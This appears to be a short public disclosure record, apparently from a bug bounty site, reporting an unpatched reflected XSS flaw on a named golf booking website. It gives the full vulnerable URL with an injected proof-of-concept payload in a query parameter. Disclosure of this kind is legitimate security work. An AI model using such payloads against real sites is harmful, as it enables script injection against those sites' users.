brsgolf.com XSS vulnerability

Vulnerable URL: http://www.brsgolf.com/royalliverpool/visitorday.php?ddate=2016-12-21%27"--!confirmOPENBUGBOUNTY%3C/script /K/' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10341...